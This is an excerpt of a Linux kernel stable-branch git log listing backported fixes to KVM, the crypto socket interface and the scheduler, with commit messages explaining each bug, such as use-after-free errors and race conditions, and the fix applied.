    Reviewed-by: David Hildenbrand <david@redhat.com>
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a3e49e607d8b858519a83ec65e4aac66ba847f62
Author: Ido Yariv <ido@wizery.com>
Date:   Fri Oct 21 12:39:57 2016 -0400

    KVM: x86: fix wbinvd_dirty_mask use-after-free
    
    commit bd768e146624cbec7122ed15dead8daa137d909d upstream.
    
    vcpu->arch.wbinvd_dirty_mask may still be used after freeing it,
    corrupting memory. For example, the following call trace may set a bit
    in an already freed cpu mask:
        kvm_arch_vcpu_load
        vcpu_load
        vmx_free_vcpu_nested
        vmx_free_vcpu
        kvm_arch_vcpu_free
    
    Fix this by deferring freeing of wbinvd_dirty_mask.
    
    Signed-off-by: Ido Yariv <ido@wizery.com>
    Reviewed-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 010a6cc4a6431093afec6e1611310f9a0f4433fe
Author: James Hogan <james.hogan@imgtec.com>
Date:   Tue Oct 25 16:11:11 2016 +0100

    KVM: MIPS: Make ERET handle ERL before EXL
    
    commit ede5f3e7b54a4347be4d8525269eae50902bd7cd upstream.
    
    The ERET instruction to return from exception is used for returning from
    exception level (Status.EXL) and error level (Status.ERL). If both bits
    are set however we should be returning from ERL first, as ERL can
    interrupt EXL, for example when an NMI is taken. KVM however checks EXL
    first.
    
    Fix the order of the checks to match the pseudocode in the instruction
    set manual.
    
    Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.")
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: "Radim Krčmář" <rkrcmar@redhat.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: linux-mips@linux-mips.org
    Cc: kvm@vger.kernel.org
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a0753a8c4a94fb2dfc29d3c8ed6fc3da77826699
Author: Radim Krčmář <rkrcmar@redhat.com>
Date:   Mon Aug 8 20:16:23 2016 +0200

    KVM: nVMX: postpone VMCS changes on MSR_IA32_APICBASE write
    
    commit dccbfcf52cebb8963246eba5b177b77f26b34da0 upstream.
    
    If vmcs12 does not intercept APIC_BASE writes, then KVM will handle the
    write with vmcs02 as the current VMCS.
    This will incorrectly apply modifications intended for vmcs01 to vmcs02
    and L2 can use it to gain access to L0's x2APIC registers by disabling
    virtualized x2APIC while using msr bitmap that assumes enabled.
    
    Postpone execution of vmx_set_virtual_x2apic_mode until vmcs01 is the
    current VMCS.  An alternative solution would temporarily make vmcs01 the
    current VMCS, but it requires more care.
    
    Fixes: 8d14695f9542 ("x86, apicv: add virtual x2apic support")
    Reported-by: Jim Mattson <jmattson@google.com>
    Reviewed-by: Wanpeng Li <wanpeng.li@hotmail.com>
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4c7055f88a19c37991c2ba912e63cd466594f63c
Author: James Hogan <james.hogan@imgtec.com>
Date:   Wed Nov 9 14:46:24 2016 +0000

    KVM: MIPS: Drop other CPU ASIDs on guest MMU changes
    
    commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8 upstream.
    
    When a guest TLB entry is replaced by TLBWI or TLBWR, we only invalidate
    TLB entries on the local CPU. This doesn't work correctly on an SMP host
    when the guest is migrated to a different physical CPU, as it could pick
    up stale TLB mappings from the last time the vCPU ran on that physical
    CPU.
    
    Therefore invalidate both user and kernel host ASIDs on other CPUs,
    which will cause new ASIDs to be generated when it next runs on those
    CPUs.
    
    We're careful only to do this if the TLB entry was already valid, and
    only for the kernel ASID where the virtual address it mapped is outside
    of the guest user address range.
    
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: "Radim Krčmář" <rkrcmar@redhat.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: linux-mips@linux-mips.org
    Cc: kvm@vger.kernel.org
    Cc: <stable@vger.kernel.org> # 3.10.x-
    Cc: Jiri Slaby <jslaby@suse.cz>
    [james.hogan@imgtec.com: Backport to 3.10..3.16]
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1d3b3d31763daa35941c90c588db9de8d5a4d173
Author: James Hogan <james.hogan@imgtec.com>
Date:   Wed Nov 9 16:13:50 2016 +0000

    KVM: MIPS: Precalculate MMIO load resume PC
    
    commit e1e575f6b026734be3b1f075e780e91ab08ca541 upstream.
    
    The advancing of the PC when completing an MMIO load is done before
    re-entering the guest, i.e. before restoring the guest ASID. However if
    the load is in a branch delay slot it may need to access guest code to
    read the prior branch instruction. This isn't safe in TLB mapped code at
    the moment, nor in the future when we'll access unmapped guest segments
    using direct user accessors too, as it could read the branch from host
    user memory instead.
    
    Therefore calculate the resume PC in advance while we're still in the
    right context and save it in the new vcpu->arch.io_pc (replacing the no
    longer needed vcpu->arch.pending_load_cause), and restore it on MMIO
    completion.
    
    Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.")
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: "Radim Krčmář <rkrcmar@redhat.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: linux-mips@linux-mips.org
    Cc: kvm@vger.kernel.org
    Cc: <stable@vger.kernel.org> # 3.10.x-3.16.x: 5f508c43a764: MIPS: KVM: Fix unused variable build warning
    Cc: <stable@vger.kernel.org> # 3.10.x-3.16.x
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    [james.hogan@imgtec.com: Backport to 3.10..3.16]
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 63b0fa17068ad4bc438699934bbd73e61b184cce
Author: Nicholas Mc Guire <hofrat@osadl.org>
Date:   Wed Nov 9 16:13:49 2016 +0000

    MIPS: KVM: Fix unused variable build warning
    
    commit 5f508c43a7648baa892528922402f1e13f258bd4 upstream.
    
    As kvm_mips_complete_mmio_load() did not yet modify PC at this point
    as James Hogans <james.hogan@imgtec.com> explained the curr_pc variable
    and the comments along with it can be dropped.
    
    Signed-off-by: Nicholas Mc Guire <hofrat@osadl.org>
    Link: http://lkml.org/lkml/2015/5/8/422
    Cc: Gleb Natapov <gleb@kernel.org>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: James Hogan <james.hogan@imgtec.com>
    Cc: kvm@vger.kernel.org
    Cc: linux-mips@linux-mips.org
    Cc: linux-kernel@vger.kernel.org
    Patchwork: https://patchwork.linux-mips.org/patch/9993/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    [james.hogan@imgtec.com: Backport to 3.10..3.16]
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4d57910eab3ab49d9b4f4762b6f7c0e8c0a3681f
Author: Ondrej Mosnáček <omosnacek@gmail.com>
Date:   Fri Sep 23 10:47:32 2016 +0200

    crypto: gcm - Fix IV buffer size in crypto_gcm_setkey
    
    commit 50d2e6dc1f83db0563c7d6603967bf9585ce934b upstream.
    
    The cipher block size for GCM is 16 bytes, and thus the CTR transform
    used in crypto_gcm_setkey() will also expect a 16-byte IV. However,
    the code currently reserves only 8 bytes for the IV, causing
    an out-of-bounds access in the CTR transform. This patch fixes
    the issue by setting the size of the IV buffer to 16 bytes.
    
    Fixes: 84c911523020 ("[CRYPTO] gcm: Add support for async ciphers")
    Signed-off-by: Ondrej Mosnacek <omosnacek@gmail.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0b3918fc435003b491155ca5418a9cdbedd15a92
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:51 2016 +0300

    crypto: skcipher - Fix blkcipher walk OOM crash
    
    commit acdb04d0b36769b3e05990c488dc74d8b7ac8060 upstream.
    
    When we need to allocate a temporary blkcipher_walk_next and it
    fails, the code is supposed to take the slow path of processing
    the data block by block.  However, due to an unrelated change
    we instead end up dereferencing the NULL pointer.
    
    This patch fixes it by moving the unrelated bsize setting out
    of the way so that we enter the slow path as inteded.
    
    Fixes: 7607bd8ff03b ("[CRYPTO] blkcipher: Added blkcipher_walk_virt_block")
    Cc: stable@vger.kernel.org
    Reported-by: xiakaixu <xiakaixu@huawei.com>
    Reported-by: Ard Biesheuvel <ard.biesheuvel@linaro.org>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Tested-by: Ard Biesheuvel <ard.biesheuvel@linaro.org>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6ff69ad9e2a6629699075801e2cfc432359f88cc
Author: Ard Biesheuvel <ard.biesheuvel@linaro.org>
Date:   Thu Oct 27 17:29:50 2016 +0300

    crypto: cryptd - initialize child shash_desc on import
    
    commit 0bd2223594a4dcddc1e34b15774a3a4776f7749e upstream.
    
    When calling .import() on a cryptd ahash_request, the structure members
    that describe the child transform in the shash_desc need to be initialized
    like they are when calling .init()
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Ard Biesheuvel <ard.biesheuvel@linaro.org>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ca46046c55cb4766cf7fc1a72ac2efe2e1da89d9
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:48 2016 +0300

    crypto: algif_skcipher - Load TX SG list after waiting
    
    commit 4f0414e54e4d1893c6f08260693f8ef84c929293 upstream.
    
    We need to load the TX SG list in sendmsg(2) after waiting for
    incoming data, not before.
    
    Cc: stable@vger.kernel.org
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Tested-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0ac80b6efdb892ce140ff4a484c318be11ea8c07
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:47 2016 +0300

    crypto: algif_skcipher - Fix race condition in skcipher_check_key
    
    commit 1822793a523e5d5730b19cc21160ff1717421bc8 upstream.
    
    We need to lock the child socket in skcipher_check_key as otherwise
    two simultaneous calls can cause the parent socket to be freed.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 54541dc3cef16ceca14c490a84d66073f1c2aa61
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:46 2016 +0300

    crypto: algif_hash - Fix race condition in hash_check_key
    
    commit ad46d7e33219218605ea619e32553daf4f346b9f upstream.
    
    We need to lock the child socket in hash_check_key as otherwise
    two simultaneous calls can cause the parent socket to be freed.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit fb0b50cf872a56be4e216d0ec8a1ff506ff879d9
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:45 2016 +0300

    crypto: af_alg - Forbid bind(2) when nokey child sockets are present
    
    commit a6a48c565f6f112c6983e2a02b1602189ed6e26e upstream.
    
    This patch forbids the calling of bind(2) when there are child
    sockets created by accept(2) in existence, even if they are created
    on the nokey path.
    
    This is needed as those child sockets have references to the tfm
    object which bind(2) will destroy.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 92954970134d3d114a0af92876743db1d98b6ab4
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:44 2016 +0300

    crypto: algif_skcipher - Remove custom release parent function
    
    commit d7b65aee1e7b4c87922b0232eaba56a8a143a4a0 upstream.
    
    This patch removes the custom release parent function as the
    generic af_alg_release_parent now works for nokey sockets too.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 023fe7ba69b80cb348d7ff9713c9ee2175d0ae49
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:43 2016 +0300

    crypto: algif_hash - Remove custom release parent function
    
    commit f1d84af1835846a5a2b827382c5848faf2bb0e75 upstream.
    
    This patch removes the custom release parent function as the
    generic af_alg_release_parent now works for nokey sockets too.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 61d058312316a3b823b75b0471de92e636a0d651
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:42 2016 +0300

    crypto: af_alg - Allow af_af_alg_release_parent to be called on nokey path
    
    commit 6a935170a980024dd29199e9dbb5c4da4767a1b9 upstream.
    
    This patch allows af_alg_release_parent to be called even for
    nokey sockets.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b5b7b2f8996df549b7de37c26e685a92fb54a7f4
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:41 2016 +0300

    crypto: algif_skcipher - Add key check exception for cipher_null
    
    commit 6e8d8ecf438792ecf7a3207488fb4eebc4edb040 upstream.
    
    This patch adds an exception to the key check so that cipher_null
    users may continue to use algif_skcipher without setting a key.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 16d4044862642265bfaf5dc909e4c19ce595595b
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:40 2016 +0300

    crypto: skcipher - Add crypto_skcipher_has_setkey
    
    commit a1383cd86a062fc798899ab20f0ec2116cce39cb upstream.
    
    This patch adds a way for skcipher users to determine whether a key
    is required by a transform.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 855297521e21710c6fc8c8d2909c7db7a86c37b3
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:39 2016 +0300

    crypto: algif_hash - Require setkey before accept(2)
    
    commit 6de62f15b581f920ade22d758f4c338311c2f0d4 upstream.
    
    Hash implementations that require a key may crash if you use
    them without setting a key.  This patch adds the necessary checks
    so that if you do attempt to use them without a key that we return
    -ENOKEY instead of proceeding.
    
    This patch also adds a compatibility path to support old applications
    that do acept(2) before setkey.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 389378f759251c9d1927558b10a9ffca1072c951
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:49 2016 +0300

    crypto: shash - Fix has_key setting
    
    commit 00420a65fa2beb3206090ead86942484df2275f3 upstream.
    
    The has_key logic is wrong for shash algorithms as they always
    have a setkey function.  So we should instead be testing against
    shash_no_setkey.
    
    Fixes: a5596d633278 ("crypto: hash - Add crypto_ahash_has_setkey")
    Cc: stable@vger.kernel.org
    Reported-by: Stephan Mueller <smueller@chronox.de>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Tested-by: Stephan Mueller <smueller@chronox.de>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7040a8428faf0055b9619cd1671957af4ac2dc5b
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:38 2016 +0300

    crypto: hash - Add crypto_ahash_has_setkey
    
    commit a5596d6332787fd383b3b5427b41f94254430827 upstream.
    
    This patch adds a way for ahash users to determine whether a key
    is required by a crypto_ahash transform.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4ad8ff672a2039270fbe29c761663488087234ad
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:37 2016 +0300

    crypto: algif_skcipher - Add nokey compatibility path
    
    commit a0fa2d037129a9849918a92d91b79ed6c7bd2818 upstream.
    
    This patch adds a compatibility path to support old applications
    that do acept(2) before setkey.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a37d08973d475dcfd32c89a61f95ac1662a26d2c
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:36 2016 +0300

    crypto: af_alg - Add nokey compatibility path
    
    commit 37766586c965d63758ad542325a96d5384f4a8c9 upstream.
    
    This patch adds a compatibility path to support old applications
    that do acept(2) before setkey.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 12514d469333e2c48d0c289cec88bb3d4b86ab42
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:35 2016 +0300

    crypto: af_alg - Disallow bind/setkey/... after accept(2)
    
    commit c840ac6af3f8713a71b4d2363419145760bd6044 upstream.
    
    Each af_alg parent socket obtained by socket(2) corresponds to a
    tfm object once bind(2) has succeeded.  An accept(2) call on that
    parent socket creates a context which then uses the tfm object.
    
    Therefore as long as any child sockets created by accept(2) exist
    the parent socket must not be modified or freed.
    
    This patch guarantees this by using locks and a reference count
    on the parent socket.  Any attempt to modify the parent socket will
    fail with EBUSY.
    
    Cc: stable@vger.kernel.org
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b886719145be12b36048dffbca07332500c39cf6
Author: Herbert Xu <herbert@gondor.apana.org.au>
Date:   Thu Oct 27 17:29:34 2016 +0300

    crypto: algif_skcipher - Require setkey before accept(2)
    
    commit dd504589577d8e8e70f51f997ad487a4cb6c026f upstream.
    
    Some cipher implementations will crash if you try to use them
    without calling setkey first.  This patch adds a check so that
    the accept(2) call will fail with -ENOKEY if setkey hasn't been
    done on the socket yet.
    
    Cc: stable@vger.kernel.org
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Tested-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c73d76df37ce1fa2d96e6c97e44ba5b4edc8eb7f
Author: Peter Zijlstra <peterz@infradead.org>
Date:   Wed Oct 7 14:14:13 2015 +0200

    sched/core: Fix an SMP ordering race in try_to_wake_up() vs. schedule()
    
    commit ecf7d01c229d11a44609c0067889372c91fb4f36 upstream.
    
    Oleg noticed that its possible to falsely observe p->on_cpu == 0 such
    that we'll prematurely continue with the wakeup and effectively run p on
    two CPUs at the same time.
    
    Even though the overlap is very limited; the task is in the middle of
    being scheduled out; it could still result in corruption of the
    scheduler data structures.
    
            CPU0                            CPU1
    
            set_current_state(...)
    
            <preempt_schedule>
              context_switch(X, Y)
                prepare_lock_switch(Y)
                  Y->on_cpu = 1;
                finish_lock_switch(X)
                  store_release(X->on_cpu, 0);
    
                                            try_to_wake_up(X)
                                              LOCK(p->pi_lock);
    
                                              t = X->on_cpu; // 0
    
              context_switch(Y, X)
                prepare_lock_switch(X)
                  X->on_cpu = 1;
                finish_lock_switch(Y)
                  store_release(Y->on_cpu, 0);
            </preempt_schedule>
    
            schedule();
              deactivate_task(X);
              X->on_rq = 0;
    
                                              if (X->on_rq) // false
    
                                              if (t) while (X->on_cpu)
                                                cpu_relax();
    
              context_switch(X, ..)
                finish_lock_switch(X)
                  store_release(X->on_cpu, 0);
    
    Avoid the load of X->on_cpu being hoisted over the X->on_rq load.
    
    Reported-by: Oleg Nesterov <oleg@redhat.com>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Mike Galbraith <efault@gmx.de>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6a94ced1bf392ce674e04ccfe34b860e970dde4a
Author: Balbir Singh <bsingharora@gmail.com>
Date:   Mon Sep 5 13:16:40 2016 +1000

    sched/core: Fix a race between try_to_wake_up() and a woken up task
    
    commit 135e8c9250dd5c8c9aae5984fde6f230d0cbfeaf upstream.
    
    The origin of the issue I've seen is related to
    a missing memory barrier between check for task->state and
    the check for task->on_rq.
    
    The task being woken up is already awake from a schedule()
    and is doing the following:
    
            do {
                    schedule()
                    set_current_state(TASK_(UN)INTERRUPTIBLE);
            } while (!cond);
    
    The waker, actually gets stuck doing the following in
    try_to_wake_up():
    
            while (p->on_cpu)
                    cpu_relax();
    
    Analysis:
    
    The instance I've seen involves the following race:
    
     CPU1                                   CPU2
    
     while () {
       if (cond)
         break;
       do {
         schedule();
         set_current_state(TASK_UN..)
       } while (!cond);
                                            wakeup_routine()
                                              spin_lock_irqsave(wait_lock)
       raw_spin_lock_irqsave(wait_lock)       wake_up_process()
     }                                        try_to_wake_up()
     set_current_state(TASK_RUNNING);         ..
     list_del(&waiter.list);
    
    CPU2 wakes up CPU1, but before it can get the wait_lock and set
    current state to TASK_RUNNING the following occurs:
    
     CPU3
     wakeup_routine()
     raw_spin_lock_irqsave(wait_lock)
     if (!list_empty)
       wake_up_process()
       try_to_wake_up()
       raw_spin_lock_irqsave(p->pi_lock)
       ..
       if (p->on_rq && ttwu_wakeup())
       ..
       while (p->on_cpu)
         cpu_relax()
       ..
    
    CPU3 tries to wake up the task on CPU1 again since it finds
    it on the wait_queue, CPU1 is spinning on wait_lock, but immediately
    after CPU2, CPU3 got it.
    
    CPU3 checks the state of p on CPU1, it is TASK_UNINTERRUPTIBLE and
    the task is spinning on the wait_lock. Interestingly since p->on_rq
    is checked under pi_lock, I've noticed that try_to_wake_up() finds
    p->on_rq to be 0. This was the most confusing bit of the analysis,
    but p->on_rq is changed under runqueue lock, rq_lock, the p->on_rq
    check is not reliable without this fix IMHO. The race is visible
    (based on the analysis) only when ttwu_queue() does a remote wakeup
    via ttwu_queue_remote. In which case the p->on_rq change is not
    done uder the pi_lock.
    
    The result is that after a while the entire system locks up on
    the raw_spin_irqlock_save(wait_lock) and the holder spins infintely
    
    Reproduction of the issue:
    
    The issue can be reproduced after a long run on my system with 80
    threads and having to tweak available memory to very low and running
    memory stress-ng mmapfork test. It usually takes a long time to
    reproduce. I am trying to work on a test case that can reproduce
    the issue faster, but thats work in progress. I am still testing the
    changes on my still in a loop and the tests seem OK thus far.
    
    Big thanks to Benjamin and Nick for helping debug this as well.
    Ben helped catch the missing barrier, Nick caught every missing
    bit in my theory.
    
    Signed-off-by: Balbir Singh <bsingharora@gmail.com>
    [ Updated comment to clarify matching barriers. Many
      architectures do not have a full barrier in switch_to()
      so that cannot be relied upon. ]
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
    Cc: Alexey Kardashevskiy <aik@ozlabs.ru>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Nicholas Piggin <nicholas.piggin@gmail.com>
    Cc: Nicholas Piggin <npiggin@gmail.com>
    Cc: Oleg Nesterov <oleg@redhat.com>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Link: http://lkml.kernel.org/r/e02cce7b-d9ca-1ad0-7a61-ea97c7582b37@gmail.com
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>